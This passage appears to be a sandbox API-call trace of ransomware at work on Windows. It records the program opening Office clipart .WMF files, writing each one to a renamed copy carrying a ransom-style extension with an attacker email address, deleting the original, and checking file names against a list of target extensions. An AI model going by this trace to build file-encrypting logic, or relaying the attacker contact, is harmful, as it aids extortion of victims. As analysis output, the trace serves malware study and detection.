(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.903] GetLastError () returned 0x0 [0198.903] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xb66e, lpOverlapped=0x0) returned 1 [0198.906] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xb670, lpOverlapped=0x0) returned 1 [0198.907] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.907] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.907] SetEndOfFile (hFile=0x220) returned 1 [0198.907] CloseHandle (hObject=0x220) returned 1 [0198.907] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.908] SetEndOfFile (hFile=0x1cc) returned 1 [0198.908] CloseHandle (hObject=0x1cc) returned 1 [0198.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.909] lstrlenW (lpString=".doc") returned 4 [0198.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.909] lstrlenW (lpString=".docx") returned 5 [0198.909] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.909] lstrlenW (lpString=".pdf") returned 4 [0198.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.909] lstrlenW (lpString=".xls") returned 4 [0198.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.909] lstrlenW (lpString=".xlsx") returned 5 [0198.909] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.909] lstrlenW (lpString=".ppt") returned 4 [0198.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.909] lstrlenW (lpString=".zip") returned 4 [0198.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.909] lstrlenW (lpString=".rar") returned 4 [0198.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.909] lstrlenW (lpString=".bz2") returned 4 [0198.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.909] lstrlenW (lpString=".7z") returned 3 [0198.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString=".dbf") returned 4 [0198.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString=".1cd") returned 4 [0198.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString=".jpg") returned 4 [0198.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString=".doc") returned 4 [0198.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString=".docx") returned 5 [0198.910] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.910] lstrlenW (lpString=".pdf") returned 4 [0198.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString=".xls") returned 4 [0198.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.910] lstrlenW (lpString=".xlsx") returned 5 [0198.910] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.910] lstrlenW (lpString=".ppt") returned 4 [0198.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.910] lstrlenW (lpString=".zip") returned 4 [0198.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.910] lstrlenW (lpString=".rar") returned 4 [0198.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString=".bz2") returned 4 [0198.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.910] lstrlenW (lpString=".7z") returned 3 [0198.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.911] lstrlenW (lpString=".dbf") returned 4 [0198.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.911] lstrlenW (lpString=".1cd") returned 4 [0198.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0198.911] lstrlenW (lpString=".jpg") returned 4 [0198.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.911] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.911] lstrlenW (lpString="J0157177.WMF") returned 12 [0198.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.911] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21716) returned 1 [0198.912] CloseHandle (hObject=0x1cc) returned 1 [0198.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0198.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.912] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.912] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.912] GetLastError () returned 0x0 [0198.912] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x54d4, lpOverlapped=0x0) returned 1 [0198.914] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x54e0, lpOverlapped=0x0) returned 1 [0198.915] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.915] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.915] SetEndOfFile (hFile=0x220) returned 1 [0198.916] CloseHandle (hObject=0x220) returned 1 [0198.916] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.916] SetEndOfFile (hFile=0x1cc) returned 1 [0198.917] CloseHandle (hObject=0x1cc) returned 1 [0198.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0198.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.917] lstrlenW (lpString=".doc") returned 4 [0198.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.917] lstrlenW (lpString=".docx") returned 5 [0198.917] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.917] lstrlenW (lpString=".pdf") returned 4 [0198.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.917] lstrlenW (lpString=".xls") returned 4 [0198.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.917] lstrlenW (lpString=".xlsx") returned 5 [0198.917] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.917] lstrlenW (lpString=".ppt") returned 4 [0198.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.917] lstrlenW (lpString=".zip") returned 4 [0198.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.917] lstrlenW (lpString=".rar") returned 4 [0198.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.917] lstrlenW (lpString=".bz2") returned 4 [0198.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString=".7z") returned 3 [0198.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString=".dbf") returned 4 [0198.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString=".1cd") returned 4 [0198.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString=".jpg") returned 4 [0198.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString=".doc") returned 4 [0198.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString=".docx") returned 5 [0198.918] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.918] lstrlenW (lpString=".pdf") returned 4 [0198.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString=".xls") returned 4 [0198.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.918] lstrlenW (lpString=".xlsx") returned 5 [0198.918] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.918] lstrlenW (lpString=".ppt") returned 4 [0198.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.918] lstrlenW (lpString=".zip") returned 4 [0198.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.919] lstrlenW (lpString=".rar") returned 4 [0198.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.919] lstrlenW (lpString=".bz2") returned 4 [0198.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.919] lstrlenW (lpString=".7z") returned 3 [0198.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.919] lstrlenW (lpString=".dbf") returned 4 [0198.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.919] lstrlenW (lpString=".1cd") returned 4 [0198.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0198.919] lstrlenW (lpString=".jpg") returned 4 [0198.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.919] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.919] lstrlenW (lpString="J0157191.WMF") returned 12 [0198.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.094] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17912) returned 1 [0199.094] CloseHandle (hObject=0x1cc) returned 1 [0199.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0199.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.094] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.094] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.095] GetLastError () returned 0x0 [0199.095] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x45f8, lpOverlapped=0x0) returned 1 [0199.097] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4600, lpOverlapped=0x0) returned 1 [0199.098] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.098] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.098] SetEndOfFile (hFile=0x20c) returned 1 [0199.098] CloseHandle (hObject=0x20c) returned 1 [0199.098] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.098] SetEndOfFile (hFile=0x1cc) returned 1 [0199.099] CloseHandle (hObject=0x1cc) returned 1 [0199.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0199.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString=".doc") returned 4 [0199.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString=".docx") returned 5 [0199.100] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.100] lstrlenW (lpString=".pdf") returned 4 [0199.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString=".xls") returned 4 [0199.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.100] lstrlenW (lpString=".xlsx") returned 5 [0199.100] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.100] lstrlenW (lpString=".ppt") returned 4 [0199.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString=".zip") returned 4 [0199.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.100] lstrlenW (lpString=".rar") returned 4 [0199.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString=".bz2") returned 4 [0199.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString=".7z") returned 3 [0199.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString=".dbf") returned 4 [0199.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString=".1cd") returned 4 [0199.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.100] lstrlenW (lpString=".jpg") returned 4 [0199.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.101] lstrlenW (lpString=".doc") returned 4 [0199.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString=".docx") returned 5 [0199.101] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.101] lstrlenW (lpString=".pdf") returned 4 [0199.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString=".xls") returned 4 [0199.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.101] lstrlenW (lpString=".xlsx") returned 5 [0199.101] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.101] lstrlenW (lpString=".ppt") returned 4 [0199.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.101] lstrlenW (lpString=".zip") returned 4 [0199.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.101] lstrlenW (lpString=".rar") returned 4 [0199.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString=".bz2") returned 4 [0199.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString=".7z") returned 3 [0199.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.101] lstrlenW (lpString=".dbf") returned 4 [0199.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.101] lstrlenW (lpString=".1cd") returned 4 [0199.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0199.102] lstrlenW (lpString=".jpg") returned 4 [0199.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.102] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.102] lstrlenW (lpString="J0174315.WMF") returned 12 [0199.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.102] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5864) returned 1 [0199.102] CloseHandle (hObject=0x1cc) returned 1 [0199.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0199.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.103] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.103] GetLastError () returned 0x0 [0199.103] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x16e8, lpOverlapped=0x0) returned 1 [0199.105] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x16f0, 